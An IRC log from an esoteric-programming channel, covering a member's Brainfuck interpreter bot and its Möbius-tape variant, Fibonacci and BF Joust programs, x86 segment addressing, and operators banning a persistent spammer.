17:48:56 <tromp__> i mean decrement, not subtract
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17:53:06 <int-e> ion: honestly I find Kerry's statement ("You just don't in the 21st century behave in 19th century fashion by invading another country on completely trumped up pre-text,") much funnier than that whole article.
17:54:32 <b_jonas> tromp__: sure, that kind of thing is fine, I just chose a particularly ugly and bad way to realize this into a machine, and then wrote a single buggy program for it. I should try a cleaner design later.
17:54:50 <b_jonas> I do mean subtract though, not decrement
18:01:07 <int-e> So you can add, too.
18:02:47 <b_jonas> and copy too, which is useful
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18:35:49 <passwordBOT> brainfuck^ opperators are []()<>+-{},. () is like [] except it uses the value the current cell points to , {} is like +- except it dec/inc the value the cell points to
18:36:35 <myname> is it relative addressing?
18:37:05 <myname> and how can be { like +-? that's like a nop
18:37:14 <password2> +bfreset:+bf:++>+++>+++++++++++>+++++++++<<<
18:38:09 <myname> ah, that - is meant to be an emdash
18:39:35 <myname> how does it know when i want to increment and when i want to decrement?
18:39:37 <password2> it subtracts one from the cell is pointing the current cell is pointing to
18:40:05 <myname> i thought it's adding?
18:40:10 <password2> {} is increment and ecrement , but it increments that value the current cell points to
18:41:34 <myname> then i don't get when it increments and when it doesn't
18:41:41 <password2> { looks at the current cell and edits the cell this one points to
18:42:10 <myname> i thought "points to" meant the directio of the symbol
18:43:08 <myname> in that case, i'd swith {}
18:43:27 <myname> } looks more "adding" to me
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18:46:11 <password2> in this case the } looks at cell0 , which contain4 and then increments cell4
18:48:17 <myname> i still find it confusing that it states "{} is like +-" and later "dec/inc"
18:52:57 <password2> how do people manage to write complex programs in bf
18:53:20 <zzo38> password2: Sometimes by hand, and sometimes using other compilers.
18:53:49 <password2> i tried Fibonacci , but gave up soon
18:54:53 <myname> isn't fibonacci straight forward?
18:55:06 <myname> you just have to make (a,b) into (b,a+b)
18:55:29 <myname> plus one to memorize a value
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18:55:45 <myname> 4 cells should be enough to get the nth fibonacci number
18:56:36 <password2> and if you want to have the seqeunce in ram
18:57:29 <myname> move a to cell 3 first
18:57:39 <myname> then add b to cell 2 and 3
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18:58:49 <myname> just getting the nth fibb should be pretty easy
18:59:29 <myname> how does your bot handly input, now?
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19:00:46 <myname> +bf:++++>>+<<[>>[->+<]<[->+<]>>[-<+<+>>]]
19:01:29 <password2> +bfreset:+bf:++++>>+<<[>>[->+<]<[->+<]>>[-<+<+>>]]
19:01:46 <myname> still not what i wanted
19:02:21 <myname> +bfreset:+bf:++++>>+<<[>>[->+<]<[->+<]>>[-<+<+>>]<<<]
19:03:42 <myname> +bfreset:+bf:++++>>+<<>>[->+<]<[->+<]>>[-<+<+>>]<<<
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19:04:13 <myname> +bfreset:+bf:++++>>+<<[>>[->+<]<[->+<]>>[-<+<+>>]<<<-]
19:04:34 <myname> +bfreset:+bf:++++++>>+<<[>>[->+<]<[->+<]>>[-<+<+>>]<<<-]
19:06:02 <myname> just put n in the first cell and you will get the nth fibbonacci number at the third cell
19:06:17 <myname> you may move it to the first after the loop
19:07:05 <password2> not really what i was trying to do
19:08:27 <myname> i do think the main problem with your approach is to stop
19:09:37 <password2> i think with the addons it might be a little easier
19:13:26 <myname> +bfreset:+bf:+>+>+++[[->>>+<<<]<<[->>+>+<<<]>>>[-<<<+>>>]<<[->+>+<<]>>[-<<+>>]>[-<+>]<-]
19:14:33 <myname> i cheated a bit starting with 1 1 (n-2), but well
19:19:27 <myname> you just have to start thinking in steps that are possible in bf
19:19:46 <myname> especially stuff like saving a value you are about to consume
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19:20:30 <Slereah_> Man I'm trying to reverse engineer the old Monkey Island sound files
19:23:05 <Slereah_> For some reason, they go take a value in some part of the memory
19:23:18 <Slereah_> And then divide it by a value from another part of the memory
19:23:34 <Slereah_> Before sending it to the PC speaker
19:24:52 <password2> +bfreset:+bf:++++++>+++>+>+<<<->({++}+}---)(++{--)+(++{--})
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19:26:28 <myname> passwordBOT: i am pretty sure you can save a lot of instructions with your modifications if you deal with your n right, but then again: you have to have a n-1 and n-2 to fully make use of it
19:26:59 <myname> password2: i meant you
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20:05:03 <password2> +bfreset:+bf:+++++++++++>+++>+>+<<<[->({+++}+}----)+++({---}+++)+({---}+++)-----({+++}+}----) +++({---}+++)+({--}++)--<]
20:05:57 <nortti> what do the {} and () do?
20:06:20 <passwordBOT> brainfuck^ opperators are []()<>+-{},. () is like [] except it uses the value the current cell points to , {} is like -+ except it dec/inc the value the cell points to
20:06:21 <Bike> || is the current pointer? nice.
20:06:22 <myname> () is [] with relative addresses
20:06:36 <myname> {} are -+ with relative addresses
20:07:29 <nortti> kind of reminds me about the zero page (or what was it called)
20:08:09 <password2> its kinda fun playing around with the relative adressing
20:08:15 <b_jonas> where's the wiki page for that language?
20:08:43 <password2> (+) , will find the first empty cell
20:10:30 <nortti> well, as long as that cell is within the first 256
20:11:35 <myname> don't see any point in limiting the value of bf cells
20:12:21 <nortti> well, the original bf was just a description what the implementation did
20:12:54 <nortti> and because many programs rely on the wraparound, it is usually implemented so
20:13:32 <nortti> but nothing stops anyone from making a bigint brainfuck. actually, I think the original turing completeness proof used a variation with bigint cells
20:13:37 <Bike> +bfreset:+bf:+[+]:+bfdump
20:14:11 <myname> i do think the +bfdump was it
20:14:24 <Bike> +bfreset:+bf:+[+]:+bfdump:
20:15:06 <myname> the parsing is a bit broken
20:16:01 <password2> +bfreset:+bf: is the only combo i made sure to work
20:19:27 <password2> gonna add flags for auton dumping and auto resetting of tape
20:20:48 <myname> most of the time, you are more interested starting in a new tape rather than working on an existing one
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20:25:54 <myname> shouldn't +(+) result in 1 |0|?
20:29:10 <password2> mm , i should make 'Done' anouncement optional too
20:31:35 <passwordBOT> 1 |0| 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
20:31:35 <passwordBOT> 1 |0| 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
20:31:57 <nortti> a tape that wraps around?
20:32:18 <password2> the tape is actually much much longer though
20:33:20 <myname> but there is something inside tat
20:33:27 <nortti> and how would it be different from a circular?
20:33:47 <nortti> hmm, or reverses the bits
20:33:57 <b_jonas> the second half of the tape would be aliased to the first half but with cells transformed in some way
20:33:59 <myname> nortti: maybe if you could have actions on both sides
20:37:13 <password2> pointer does wrap , but the display does not update right it seems
20:37:36 <password2> it would be due that i only so 64ish first cells
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20:41:09 <password2> bfmemory[ 0 ] 255 bfmemory[ 171 ] 1
20:41:17 <quintopia> yeah a mobius tape would be a tape where the polarity swaps every time you wrap
20:41:34 <quintopia> because you're incrementing "from the other side"...aka decrementing
20:42:19 <password2> mmm , if i revamp code some more , then i'll be able to do it easily
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20:43:54 <myname> quintopia: that makes sense
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20:50:22 <nortti> 22:49 < password2> sorry , had to reboot internet <-- that wording suggests something else
20:52:50 <password2> anyone wanna see a mobius version?
20:55:34 <password2> damn , my bf class is at 420 lines already
20:56:21 <Taneb> password2, blaze it
20:58:23 <password2> should it be that +- == -+ ; {} == }{ ?
21:01:54 <quintopia> actually, i wonder what bf joust would be like on a mobius tape (w/ wrapping instead of suiciding). making the flags equally spaced in BOTH directions of course
21:03:26 <nortti> http://virtuallyfun.superglobalmegacorp.com/?p=3910
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21:03:44 <quintopia> myname: okay i'll let you write it. be sure to make it blindingly fast.
21:03:52 -!- passwordBOT has joined.
21:04:08 <password2> instes of starting cmd with +bf , use +bfmob
21:04:40 -!- ket1v has joined.
21:05:46 <password2> fogot to make an object of the class
21:06:44 <myname> quintopia: like, written in assembly?
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21:07:48 <quintopia> myname: the current fastest bfjoust interpreter is in C. if you can beat gearlance, it's fast enough :D
21:08:38 <password2> "255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 "
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21:10:18 <passwordBOT> 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
21:10:48 -!- elliott has set topic: a variety of colorful fish, but the darkness of no HackEgo | PSA: fizzie is running the wiki now, contact him for any problems | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
21:11:28 <passwordBOT> 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
21:13:11 <password2> quintopia, if you can say what the exact error is , sure
21:13:40 <quintopia> password2: the output should be 0 2 2 2 2 2 2 2 2 2 2 2 2 2 ...
21:16:26 <myname> +[>+] should be 0 255 255 255 ...?
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21:17:11 * int-e wonders which bf dialect that is ...
21:17:29 <myname> int-e: bf on a möbius stripe, obviously
21:17:57 <int-e> I didn't pay attention, and "mob" is a word on its own.
21:18:31 <int-e> (which makes it sound like a multithreaded variant)
21:18:37 <passwordBOT> 1 255 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254
21:18:49 <myname> if i make a flash clone that works on a mäbios stripe, will it be flash mob?
21:19:25 <myname> quintopia: the problem being what?
21:19:55 <myname> but being insane shouldn't
21:20:49 <myname> password2: looks wrong
21:21:08 <password2> but i cant see any errors this side
21:21:13 <myname> +[>+] makes 257 + operations, the last being swapped
21:21:23 <myname> which results in |0| 1 1 1 ...
21:21:35 <passwordBOT> 1 |0| 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
21:21:43 <quintopia> he's starting with + and - swapped
21:22:07 <passwordBOT> 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
21:22:34 <passwordBOT> 1 |0| 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
21:22:44 <password2> i think I'll shrink the mem size a bit first
21:22:55 <password2> until i can figure out what is wrong
21:23:16 <myname> but you agree that +[>+] should result in |0| 1 1 1 ...?
21:23:56 <int-e> do you swap the polarity of +/- operations or do you actually negate the values?
21:23:59 <myname> well, it should just + until the end of the tape
21:24:14 <myname> make a +, that is now a -
21:24:21 <myname> making the first cell to 0
21:24:41 <int-e> if you negate values on wraparound, |0| 255 255 255 ... would make sense.
21:24:42 -!- passwordBOT has quit (Read error: Connection reset by peer).
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21:26:10 <passwordBOT> 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 |0| 1 1 1
21:26:30 <myname> +bdmod:+++++++++++++++++++++++++++++++++
21:26:34 <myname> +bfmod:+++++++++++++++++++++++++++++++++
21:26:44 -!- ket1v has quit (Remote host closed the connection).
21:26:49 <myname> +bfmob:+++++++++++++++++++++++++++++++++
21:27:12 <myname> that is not the right thing
21:28:03 -!- passwordBOT has quit (Remote host closed the connection).
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21:28:22 <password2> hopefully everything will work now
21:28:33 <passwordBOT> |0| 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
21:28:49 <int-e> +bfmob: +[>+]-[>-]
21:28:50 <passwordBOT> |0| 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
21:29:18 <passwordBOT> 0 1 |0| 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
21:29:46 <passwordBOT> |0| 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
21:30:46 <int-e> +bfmob:+[>+]>[[->+<]>]
21:31:39 <int-e> +bfmob:+[>+]<[>[-<+>]<<]
21:32:21 <quintopia> < password2> ok mem size is now 32 cells
21:35:02 <password2> do you want me to make it 255 again?
21:37:22 <Slereah_> if I do something like mov [boner], ax
21:38:51 <kmc> ds is the default segment for most loads/stores
21:38:56 -!- passwordBOT has quit (Quit: Good).
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21:39:32 <Sgeo> What about C3?
21:40:05 <passwordBOT> Commands are +bfmoblist: +bfmob: +bfmobreset: +bfmobdump: +bfmobdumpascii:. bf mobius invert -+ upon tape looping.<quintopia> because you're incrementing "from the other side"...aka decrementing
21:40:07 <myname> boner offset sounda durty
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21:41:07 <kmc> Slereah_: I think something like mov [esp], ax will use ss instead of ds by default, but I'm not certain
21:41:22 <zzo38> I didn't know that DOS Navigator is open-source now, until I checked. I used that program some time ago!
21:42:11 -!- potato111 has joined.
21:42:14 <fizzie> Also for references involving bp/ebp, which might conceivably confuse someone using it as a general register.
21:42:17 <kmc> Slereah_: oh, bp / ebp also... efb
21:43:05 <kmc> and string instructions have their own rules, e.g. movsb moves from ds:si to es:di
21:43:08 <kmc> http://stackoverflow.com/questions/3948961/what-segment-is-used-by-default-in-x86-indirect-addressing
21:44:44 <zzo38> I made up one other chess variant, but it is currently hidden pending review.
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22:06:42 <Bicyclidine> Hey web programmers, an interesting thing is happening to me.
22:06:55 <Bicyclidine> I tried to get on Something Awful and a notice popped up from Greyhound that the site is blocked.
22:07:13 <oerjan> maybe they think there's something awful there
22:07:15 <Bicyclidine> The interesting part is, I'm sitting in a library and the nearest Greyhound stop is miles away.
22:08:18 <Bicyclidine> i was riding the bus yesterday... did they like, censor my computer somehow
22:08:36 <Bicyclidine> force reloading fixes it... god, what the fuck, though?
22:08:51 <Taneb> Browser caching, maybe?
22:09:11 <Bicyclidine> I didn't try accessing something awful from the bus, though.
22:09:23 -!- augur has quit (Remote host closed the connection).
22:09:51 -!- augur has joined.
22:10:20 <Jafet> One of the websites I use has a truncated javascript file permanently stuck in the browser cache, somehow
22:10:38 <Jafet> Solved by using only that website with a different profile
22:10:53 <Sgeo> Gregor: are you Scott Adams?/
22:11:10 <Taneb> Sgeo, I don't know but I am Charles Adams
22:14:11 -!- boily has joined.
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22:24:55 <quintopia> boily!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
22:29:55 -!- aloril has quit (Ping timeout: 264 seconds).
22:30:11 <oerjan> <-- how well it is doing compared to the programs on the size 50 hill. i don't think any of those have managed to get onto the hill yet.
22:30:19 <oerjan> <password2> what does the score mean? <-- how well it is doing compared to the programs on the size 50 hill. i don't think any of those have managed to get onto the hill yet.
22:31:24 <boily> quintopia: of course it's evening here, but it's morning.
22:31:26 <oerjan> i forgot to paste the quote (which i'm always doing last because it sometimes ends up containing a newline)
22:31:49 <boily> Taneb: doing well. I was with girlfriend.
22:31:56 <boily> quintopia: ????????????????????????????????????????
22:32:04 <boily> (¿ also, to balance the ?)
22:32:06 <Taneb> boily, ooh that is good
22:32:18 <quintopia> boily: wanna go canoe the milk river with me
22:32:20 <oerjan> password2: the top score is usually around 50 or so iirc
22:32:26 <EgoBot> Sorry, I have no help for bfjoust!
22:32:30 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
22:32:37 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
22:32:44 <oerjan> hm it doesn't say there
22:32:50 <boily> NOOOOOOOOOOOOOOOO!
22:33:00 <oerjan> boily: well at least it's _there_
22:33:05 <boily> quintopia: is it cold outside where the milk river is?
22:33:15 <password2> I'm adding input to my bf interpreter
22:33:26 <boily> oerjan: hm. let me rephrase the noooo. “MAYBEEEEEEEEEEEEEEEE!”
22:35:08 <oerjan> password2: http://codu.org/eso/bfjoust/report.txt is the current, top is just above 50
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22:35:57 <oerjan> hm i guess the bottom three are from today's experimenting
22:35:57 <password2> how does a program get "up the hill" ?
22:36:23 <oerjan> password2: when you submit one, it fights against all the ones already there
22:36:43 <kmc> `run echo hi
22:36:56 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
22:36:57 <oerjan> and then the scores are recalculated
22:37:20 <oerjan> (using the points already stored, for fights between those already there)
22:37:41 <boily> I wonder is we could manage to get fungot to submit a valid non-zero-scoring bfjoust program.
22:37:41 <fungot> boily: when old age shall this generation waste, but did not become terrified. it is amusing to reflect that the silent pursuing gugs would not be the first to be approached by the several outsiders who took advantage of the fnord
22:37:51 <oerjan> the points are calculated by the big table on bottom
22:40:39 <Taneb> !bfjoust >>>>>>>>>[[-][-.]>]
22:40:39 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:40:54 <Taneb> !bfjoust dunno >>>>>>>>>[[-][-.]>]
22:40:57 <EgoBot> Score for Taneb_dunno: 6.5
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22:41:03 <Taneb> Well, that wasn't awful
22:42:26 <boily> Bicyclidine: “.” is wait.
22:44:13 <quintopia> Bicyclidine: . is NOP, , is comment
22:44:16 <password2> it seems i am stil making an error somewhere in my code
22:45:36 <oerjan> +bf:,>,>,>,.<.<.!Testing
22:46:26 <oerjan> +bf:++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.
22:46:41 <oerjan> ^bf ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.
22:47:04 <password2> output is sorted , its input that i m messing up
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22:49:12 <elliott> fizzie: esolangs.org points to the right place for me now
22:49:36 <oerjan> +bf:,>,>,>,!1234567890
22:49:46 <elliott> fizzie: also you might want to add something about hosting the wiki somewhere so people can bug you :p
22:49:50 -!- passwordBOT has quit (Remote host closed the connection).
22:49:53 <oerjan> password2: oh hex, how useless
22:50:16 -!- passwordBOT has joined.
22:50:49 <fizzie> elliott: I've still got 42575 seconds left of the old IP address on my nearest DNS server.
22:51:23 <oerjan> is the old address down, because the wiki loaded fine here
22:51:27 -!- passwordBOT has quit (Client Quit).
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22:52:09 <fizzie> oerjan: Last I heard, it was read-only but not down.
22:52:28 -!- passwordBOT has quit (Remote host closed the connection).
22:52:46 -!- passwordBOT has joined.
22:52:48 <elliott> fizzie: yeah, I'm surprised I got it so fast
22:52:59 <elliott> oerjan: you can tell by going to http://esolangs.org/wiki/Special:RecentChanges and seeing if the latest change is by me.
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22:53:52 <oerjan> does that mean it's the old or new one though
22:56:45 <password2> 1 o clock is a good time to pass out
22:57:24 <oerjan> +bf:,[.,]!486578207375636b73
22:58:28 <password2> i might add a input type flag later
22:59:06 <oerjan> you realize ! is the standard so it should work normally hth
23:00:55 -!- nooodl has quit (Quit: Ik ga weg).
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23:04:34 <password2> +bf:+>+>+>+>+>+>+>+>+>+>+><<<<<<<<<<<(+)
23:06:02 <coppro> that sounds too complicated for bf
23:06:20 <passwordBOT> Commands are +bflist: +bf: +bfreset: +bfdump: +bfdumpascii:. This bf interpreter has pointer too!Type +bfop: for a qiuck list
23:06:35 <passwordBOT> brainfuck^ opperators are []()<>+-{},. () is like [] except it uses the value the current cell points to , {} is like -+ except it dec/inc the value the cell points to
23:08:15 <passwordBOT> |2| 1 0 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
23:09:02 -!- passwordBOT has quit (Remote host closed the connection).
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23:11:32 <quintopia> coppro: indirection seems like a nice feature that isn't overly complicated. it'd kinda be cool if bfjoust had it. it'd make golfed warriors a lot more powerful
23:12:34 <quintopia> now i kinda want to make a bf^joust twitterbot
23:14:18 <coppro> indirection would be interesting in bfjoust, definitely
23:14:25 <coppro> but it's not a fundamental bf feature
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23:29:46 <zzo38> kcashbor: What about Wikileaks?
23:30:04 <Taneb> elliott, there was someone similar in the Haskell channel a few minutes ago
23:30:12 -!- ChanServ has set channel mode: +o elliott.
23:30:15 -!- elliott has kicked kcahsbor2 kcahsbor2.
23:30:17 -!- elliott has set channel mode: -o elliott.
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23:40:16 <kmc> jerkcity.com
23:42:49 <Bicyclidine> http://31.media.tumblr.com/f970070fceb0518bb01ca9e2bb84f10f/tumblr_n2octpAQfj1snfhwio1_1280.jpg it's like, why continue with the artform after its peak
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00:07:12 <pikhq> `relcome wikileaks1
00:07:17 <pikhq> `welcome wikileaks1
00:08:00 -!- Koen_ has quit (Quit: Koen_).
00:08:38 -!- ket1v has joined.
00:08:49 <wikileaks1> how are we doing this evening ladies and gents!
00:10:23 -!- ChanServ has set channel mode: +o elliott.
00:10:36 <elliott> wikileaks1: why did you not take being kicked as a hint?
00:11:10 <elliott> true, the united states is pretty powerful
00:11:28 <elliott> you know who else is powerful?
00:11:31 -!- elliott has kicked wikileaks1 me.
00:11:35 <elliott> okay I just wanted a chance to use that line
00:11:43 -!- elliott has set channel mode: -o elliott.
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00:13:08 <zzo38> wikileaks123: You already wrote that
00:13:21 <elliott> dude, you didn't even change your IP
00:13:33 <elliott> this is the weakest spam ever
00:13:48 <zzo38> If you have something to say about a specific file, say it otherwise go away until you have something better to write please.
00:14:30 <zzo38> The newest file was from January anyways; two months ago.
00:14:37 <boily> can I kick him? please, please :D
00:14:42 -!- wikileaks1234 has joined.
00:15:02 <zzo38> Maybe in future there will be more files, but for now it isn't.
00:15:26 <myname> wikileaks1234: google.com
00:15:35 <myname> in case you necer heard of it
00:16:03 -!- ChanServ has set channel mode: +o elliott.
00:17:02 <boily> I can still mapole him, right?
00:17:13 -!- elliott has set channel mode: +b *!*wikileaks@*.dip0.t-ipconnect.de.
00:17:13 -!- elliott has kicked wikileaks123 try again.
00:17:14 -!- elliott has set channel mode: +b *!*wikileaks@1.214.231.*.
00:17:14 -!- elliott has kicked wikileaks1234 try again.
00:17:21 -!- elliott has set channel mode: +b *wikileaks*!*@*.
00:17:31 <elliott> let's hope this 2 minute script works
00:17:42 <elliott> if anyone wants to test it say "wikileaks.org foo"
00:17:49 <elliott> but I am not responsible for the consequences
00:18:23 -!- elliott has set channel mode: +b *!*Glossina@*.it.wsu.edu.
00:18:23 -!- elliott has kicked Bicyclidine Bicyclidine.
00:18:36 -!- elliott has set channel mode: -b *!*Glossina@*.it.wsu.edu.
00:18:37 <fungot> boily: close upon this thundering there came a philosopher into kingsport. his name, as given on the records scroll in case i was still holding it above me as if it acted like a noose or fnord thrown around me. it is here that the great stone bridge where naraxa joins the sea just north of rhodes-on-the-pawtuxet. the volume and quality of the howling fnord. i am impatient for yr brig, and inquire daily at mr. fnord in exact cen
00:19:20 <elliott> anyway, nobody talk about that site with the leaks and the wiki
00:20:43 <myname> it's not like he's years too late to advertise it
00:20:45 <zzo38> elliott: You just did mention it
00:21:08 <elliott> zzo38: well, you can talk about it. just don't... erm... say the name.
00:21:37 <boily> fungot: can I get you to say the site that shouldn't be named but can still be talked about?
00:21:38 <fungot> boily: ostracised though he was, none could tell just whose arrest might cut off the spectral fnord dampness, the strangely open porthole, and the great dome on the hill of fnord an' that, he didn't git to sleep at midnight, and did not think it necessary to insist upon a thing which i knew this strange old man possessed. i recognized the fnord was too close to admit of perfect secrecy; but the final soul-shattering catastrophe
00:21:40 <Taneb> ^ul (wiki)S(leaks)S(.org)S
00:21:40 -!- elliott has set channel mode: +b *!*fis@*.zem.fi.
00:21:40 -!- elliott has kicked fungot fungot.
00:22:22 <zzo38> boily: Yes, that is what you are supposed to do, when such things are implemented.
00:22:28 -!- LEAKSBOT has joined.
00:22:35 -!- elliott has set channel mode: +b *!*wikileaks@*.14-1.cable.virginm.net.
00:22:35 -!- elliott has kicked LEAKSBOT LEAKSBOT.
00:23:57 <zzo38> They keep leaving and I cannot send private messages to them anymore
00:25:22 -!- elliott has set channel mode: -b *!*fis@*.zem.fi.
00:25:45 <elliott> aw, fungot doesn't respond to /invites :/
00:25:51 <elliott> I should probably not leave this script running long.
00:26:14 <boily> fizzie: would you be so kind as to refungot the chännel twh
00:26:16 -!- fungot has joined.
00:26:34 <zzo38> elliott: Yes, you should remove it... temporarily add a password to this channel if needed
00:26:40 <zzo38> Otherwise we will ban fungot again
00:26:41 <fungot> zzo38: complex cases of the permanent projection of elder minds arose many of those blocks were made and used. it was not so sure, for though the chemical air fnord were intact, and not his peculiar personal appearance, which made him end his life. many would have disliked to live if possessed of the peculiar violet light upon it.
00:27:30 <elliott> okay, I severely restricted it. it won't kick fungot now.
00:27:30 <fungot> elliott: using small boats, we effected a difficult landing on ross island shortly after midnight on wednesday, the great race seemed to form a separate and smaller continent divided from the larger one by a laboured revision of the page numbers.
00:29:01 -!- elliotsheadache has joined.
00:30:25 <Bike> what an odd behavior pattern to trap oneself in
00:30:47 <boily> a norwegian address without a past, a spammer without a future, an elliott without a t.
00:31:04 <elliott> whaat, you broke my script
00:31:09 -!- elliott has set channel mode: +b *!*elliotshe@*.bb.online.no.
00:31:10 -!- elliott has kicked elliotsheadache elliotsheadache.
00:31:18 <Bike> rip elliott's script, twerked too hard
00:32:27 <zzo38> shachaf: elliott is going on here.
00:32:47 <zzo38> shachaf: And also, someone who repeats themself too much is trying to be going on here.
00:32:48 <lexande> spam spam spam lovely spam wonderful spam
00:34:20 -!- showeduthistime has joined.
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00:35:07 -!- elliott has kicked showeduthistime showeduthistime.
00:36:17 <boily> show edu this time? who's edu?
00:36:48 <boily> Elliott HirD Unknown?
00:36:59 <lexande> show edu, some sort of MOOC platform
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00:38:27 -!- elliott has kicked heyelliott heyelliott.
00:38:31 -!- elliott has kicked elliott elliott.
00:38:34 <Bike> ugh, and you know you can't even engage them because they've rerouted their brain as a 4chan-level snail
00:39:52 <metasepia> Software description: code of Massive Open Online Courses.
00:40:32 -!- heyelliot has joined.
00:40:38 <zzo38> boily: Now, maybe they will not find elliott
00:40:49 <zzo38> heyelliot: elliott is not here right now!!!
00:40:50 <Bike> wait for them to get bored
00:41:05 <Bike> in the meantime, let's accuse each other of being fascists
00:41:11 <zzo38> heyelliot: (You also misspelled their name)
00:41:19 <heyelliot> oh, she banned her username with her script! nice
00:41:21 <Bike> i'll start. metasepia you really grind my gears
00:41:37 <heyelliot> i had to mispell on purpose... she banned anyone with elliott, so i dropped a t
00:41:47 <Bike> actually elliott just kicked themselves
00:41:50 <Bike> what's this she stuff
00:42:41 <heyelliot> this is fun! anyone else having fun?
00:43:02 <Bike> you're boring, okay? just accept it and move on.
00:43:11 <Bike> you'll never live up to the legacy of itidus21.
00:43:11 <heyelliot> thanks to heyelliot we have NO BOTS!!
00:43:14 <zzo38> heyelliot: Yes, and you repeat yourself too much.
00:43:19 <boily> what kind of entity is behind heyelliot? are they of the meatsack persuasion, or more of a silicon existence?
00:43:51 <boily> Bike: also, you deserve a rightful mapoling for dissing my bot, you fascist pig!
00:44:03 <Bike> mapoling is just a sublimation of breaking wheels
00:44:09 <Bike> you eurofascist piece of trash
00:44:15 <fungot> lexande: " heh, heh! fnord eliot was a mason an' agin senct zenas was very
00:44:30 <boily> Bike: euro? talk to my 'murican hand!
00:44:39 <Bike> i know you're canadian you queenist
00:44:54 <Bike> listen. do you know locke's whole thing about the consent of the governed.
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00:45:11 <heyelliot> YEAH, IVE JUMPED IP'S 15 TIMES, CANADA IS WHERE ITS AT RIGHT NOW
00:45:26 <Bike> this dudes'b ehind seven proxies we're fucked
00:45:30 <boily> Bike: eeeeeeh... I think we read some Locke in one philosphy class many years ago. maybe.
00:45:46 <boily> heyelliot: I AM AT CANADA!
00:45:54 <Bike> oh. well the basic idea is that governments exist by the consent of people in them.
00:46:28 <Bike> tl;dr we have ops because we don't like heyelliot, rather than having heyelliot because we don't like ops.
00:46:42 <Bike> and the wheel goes round and breaks the fucking fascist.
00:46:46 <Bike> that means you, metasepia.
00:47:08 <shachaf> Bike for president of canada
00:47:18 <boily> my bot ain't no fascist! it is an active socialist, all for the wellbeing of the cephalopod community!
00:47:46 <boily> shachaf: that would be an indubitable improvement over our playmobil prime minister.
00:48:04 <Bike> wow like fascists can't be socialist, whatever lefty
00:48:24 <heyelliot> again you guys are welcome for hacking the OPS out
00:48:58 <boily> Bike: I have your approximate coördinates! I will find you, then make you listen to Céline!
00:49:31 <shachaf> boily: do you have my body weigh by any chance
00:50:18 <boily> shachaf: let me check. I haven't updated the The File in a long time.
00:50:18 -!- heye2 has joined.
00:50:31 <heye2> still no OPS in here?
00:50:42 <heye2> all hail heyelliot
00:51:07 <Bike> sounds like an occasion for a good mapoling
00:51:09 <boily> shachaf: I am shocked. I don't even have no entry about you at all.
00:51:38 <boily> Bike: can I brandish the MAPOLE OF JUSTICE?
00:51:46 <heye2> where did elliott go?
00:52:08 -!- ChanServ has set channel mode: +o Bike.
00:52:18 * boily lends his trusty mapole to Bike
00:52:30 <boily> Bike: also, can you unbanish elliott?
00:52:31 -!- Bike has kicked metasepia this @ kills fascists.
00:52:47 <Bike> I haven't had op commands, like, ever, let's see how this works.
00:52:50 -!- Bike has kicked heye2 heye2.
00:52:52 -!- Bike has kicked heyelliot heyelliot.
00:53:15 -!- metasepia has joined.
00:53:36 <boily> POWER TO THE PEOPLE! AND CUTTLEFISHES!
00:53:38 <Bike> Now that we have solidified the Molotov-Ribbentrop pact, I'm pleased to announce that metasepia may remain.
00:53:50 <Bike> holy shit, i actually spelled that right
00:53:51 <shachaf> fizzie runs esolangs.org now?
00:54:25 <shachaf> those limes on the front page sure look delicious
00:54:50 <shachaf> whenever i go to the wiki i start craving sour citrus
00:55:04 <Bike> boily: also, elliott was just kicked, not banned. don't unbanish what ain't banished, as they say.
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00:55:17 <newsham> is the plural of cuttlefish cuttlefishes?
00:55:17 -!- bikeslover has joined.
